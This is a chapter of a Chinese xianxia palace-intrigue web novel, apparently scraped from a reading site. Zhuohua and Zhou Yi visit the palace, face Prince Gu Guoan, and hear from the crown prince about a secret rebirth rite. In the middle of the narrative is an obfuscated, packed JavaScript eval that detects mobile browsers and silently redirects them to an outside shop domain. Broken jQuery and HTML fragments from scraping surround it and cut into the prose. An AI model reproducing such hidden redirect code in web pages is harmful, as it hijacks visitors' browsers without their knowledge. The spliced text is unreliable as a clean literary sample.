其实昨天顾慎言两兄弟来,还交代了另一个事情:
接下来要看皇上的情况如何,哪怕他再想跟灼华成婚,现在最大的事情还是龙体康健。
说白了就是,现在谁也拿不准主意皇上的身体需要怎么治,要是前一次祈福没有作用,估计是要采取某些手段了——就比如换命。
这其实是周宜喜闻乐见的,他实在担心那所谓的祈福仪式会对灼华造成影响,毕竟这天海阁似乎有些本领,他不敢小觑。
更令他担心的,是灼华的身体。虽说现在好了很多,可到时候抗衡整个门派的时候,谁又能说得准她的身体扛得住呢?
因此,昨晚三人商议的时候,无论是翁楚灵还是周宜,很快达成了一致:要先找到恢复的办法,然后灼华才能行动。
这点,灼华也没有异议。
“今天周宜跟我一块儿进宫吧,我们去看看皇帝身体到底怎么样。”
灼华说罢,周宜就点了点头。
翁楚灵这几日一直跟顾文阳待在一起,奔走操劳不说,还得时刻小心跟他的交往,弄得她是身心俱疲,于是灼华安排她这两日好好休息休息。
赶往皇宫的路上,两人闲聊起来——
“其实我有一个问题,你变成凡人这么久,除了锦泽之外,别个对你更提防的神仙怎么没有采取一些举措呢?”
听到这话,灼华意味深长地挑了挑眉,比回答先到的,是反问。
“怎么,你生怕没人来收拾我?”
毕竟周宜是根正苗红的天庭仙君,灼华此言其实不全是玩笑话,她信任周宜不假,可也不得不时时提防着此人突然觉醒。
万一被他和天庭合谋算计,自己就真的处境危险了……
到底还是相处久了,周宜一笑了之,用轻松的言语否决了她的揣测:
“我担心你还来不及,你居然还怀疑我吗?”
周宜最有资格说这话,也是唯一一个说了灼华会信的,她表情仍旧有些嗔怪,低喃一句:“这还差不多。”
稍后,她才跟周宜大概解释了现状。
众神没有出手,只是因为先前几次大战,再加上灼华赶走某人入主天庭后,没少四处搅和,稍微有一战之力的神都被折腾得修为大损,这些人就是想来收拾自己,也得有实力才行。
但周宜仍旧困惑,收拾凡人,在神来看不应该是动动手指的事情吗?
“又有谁能保证,我这个凡人死了后不会立刻回归本尊呢?”灼华满是得意地说着。
周宜此刻才彻底明白,原来众神是有所忌惮,可另一个问题也迎面而来:“那你知道……”
没等他说完,灼华就抬手打断了他的话,显然不想他再往下说了,周宜即刻收声。
“这是个秘密。”言罢,灼华眼睛往上看了看。
周宜也在瞬间就懂了,她这是怕被人听到。可这个问题只能萦绕在他心头:灼华到底清不清楚,她凡人身灭后,究竟魂归何处呢?
他希望,到时灼华能身归神位,那样她还可以为她自己复仇,而自己也会不那么内疚。
理应是周宜这个凡人更懂礼仪,可近些日子灼华在皇宫没白待,规矩懂得可比周宜多。
进了宫,就先带着周宜去拜见皇后。
一番寒暄之后,得了皇后的提议,灼华和周宜这才去见顾慎言。
要想见到皇帝,还得过顾慎言这关。
巧的是,彼时顾慎言正在跟顾国安探讨些什么,反正灼华和周宜出现的时候,殿中骤然陷入了死一般的沉寂……
显然,先前不是这样的。
灼华见皇上皇后都不跪不拜的,更别说见了有过节的人了,她压根就没把顾国安放在眼里。
周宜就更不用提了,如果说皇族跟灼华还能扯得上点交集,自己一个乡野侠客,不礼敬王公贵族更是理所应当。
总之一句话,这两人全都无视了顾国安。
不知是出于生气还是挑衅,顾国安在太子出言介绍两人后,又主动招惹上来。
“噢,这位就是皇兄你捡来的平民王妃是吧?”神态讥讽,言辞犀利,他的这番架势任谁看了都会恼火。
顾慎言都从桌案后站了起来,面容严肃地朝这边走来,一看就准备好好跟弟弟讲讲道理。
周宜更是把不耐烦写在了脸上,护犊子的他可听不了这么刺耳的话!
“果真如传闻般蛮横无理,我们今日也算长见识了。”
灼华的语气甚至携着轻松,她很自然地挽着周宜胳膊,不是为了炫耀,而是安抚。
眼前的家伙再说难听话,周宜一准冲上去,灼华当然要阻止他。
“你说什么?!”顾国安拔高嗓音,甚至抬手指着灼华。
伴随而来的是顾慎言的厉声开口,斥责三弟太过分了。
出于种种算计,顾国安还是收了狂暴的脾性,老老实实在大哥面前认错。
“父皇的教导你是全忘了!近些时间,没少有本子参你肆意妄为,现在你还是初心不改啊!”顾慎言眼神一凛,“难不成你是想造反么?”
微妙的气氛瞬间漾开。
周宜和灼华都默契的看向顾国安,自然没错过那人骤然缩紧的瞳孔,以及他克制又克制,最后还是流露出来的野心。
明摆着,顾慎言说出了他的心里话。
这人面子上装着惶恐,心里指不定多得意呢。
顾国安摇头摆手:“皇兄明鉴,臣弟不敢造次。”
顾慎言又斥责他一番,才放他离开。
刚见顾国安的身影消失在门外,灼华就毫不避讳地说道:“没想到,这人在你面前还挺懦弱的。”
在她的预想中,这位王爷应该更跋扈才对,现在看来好像被顾慎言拿捏的动弹不得呢。
“他那不是忌惮我,而是忌惮父皇。”
大殿里外都是顾慎言的人,他也就不再藏着掖着了:
“我和他身后倚靠的权臣都效忠于父皇,可父皇倒了之后,免不了一场腥风血雨。”
话题回转到周宜和灼华最想听的部分,两人自然不会错过。
“皇上怎么样?”她关切地问道。
周宜的目光,也紧紧盯着顾慎言。
“正好我今日还没去看父皇,我们一起去吧。”
说这话的时候,顾慎言有些心力交瘁。
灼华和周宜能看得出来,情况似乎并不那么乐观。
眼见为实——</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734084|204641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
而事实也证明,顾文阳带头的祈福仪式似乎没有什么用……皇上的情况依然很糟糕,容貌甚至比灼华预想当中的还要枯槁。
也就是这时,顾慎言才在只有三人在场的场合下,讲了另一件事情:
那其实不算是祈福,只是请天海阁里的道人用特殊方式诊病而已。
闻言,灼华和周宜互相看了对方一眼,默契使然,周宜问出了灼华想问的事情:
“这是什么意思?难道是把道人请来了吗?道人怎么说?”
其实别说是周宜和灼华,就连当初要给皇上调配毒药的红姑都知道,天海阁的道人根本不会什么玄之又玄的诊病治病。
说破天,他们也就只是一群道士而已,顶多是比较受皇帝恩宠的一派。
顾慎言自然摇头。
“其实你们不知道,天海阁有镇山三宝,是三栋阁楼,分别能通晓一些妖、神、魔界的事情,其中,就有能通晓生死的本领。”
翁楚灵的反馈让灼华和周宜大致知道了情况,在顾慎言这里,她们算是补全了认知——
原来,三栋阁楼还是有些别的本事的。
“那看的结果是什么,那些阁楼有办法治病吗?”
灼华情真意切地问着,就好像她是真心关怀皇上的那样,周宜后知后觉,灼华其实是问到了重点:治病。
顾慎言表情犹豫了一下,但鉴于前面说的已经够多了,他显然是没有把眼前两人当外人的,这个问题,自然也会回答。
“其实——他们的本领比你们想象中要大得多。”
带着灼华和周宜走出寝宫,行至偏殿,顾慎言才继续说道:“那群人都能起死回生,自然不把任何伤病放在眼里。”
话题,来到了灼华和周宜最感兴趣的部分。
说出这些的顾慎言,自然也是想倾诉一番心事,于是,两人这才从他口中得知一支神秘的种族——鹊奴。
当然,还有意外收获。
“其实不只是皇上可以起死回生,皇后和太子,以及太子的正室——也就是你,”
顾慎言目光温柔地看向灼华,“我们都有一次重活的机会。”
“这也就是为什么到时我们上山需要九天,因为要举行祭典为你施法,到时,你会有自己专属的鹊奴。”
“也就有了,重生一次的机会。”
周宜心中突然有了个猜测:
先前他们一行人都以为,所谓的仪式类似下蛊,用蛊惑人心的方式收获忠心。
但现在看来,重生的诱惑太大,或许不用蛊虫,就能引得人深陷其中……
想到这里,他转头看向灼华,要真是如此,她一定不会为其倾心。
可周宜自己却心动了——要是能用鹊奴帮灼华治愈伤病,那该多好呀!
灼华一看就知道周宜在想什么,她未置可否,只是先回应了顾慎言。
“这样岂不是正好?还是尽快帮皇上治病吧。”
刚才见到皇上的时候,灼华已经用法力探过了,这人现在几乎已经是无力回天了……
与其听顾慎言在这里跟自己畅想将来,还是抓住眼前给皇帝续命的当口比较关键,毕竟灼华现在一心所求的,只有快。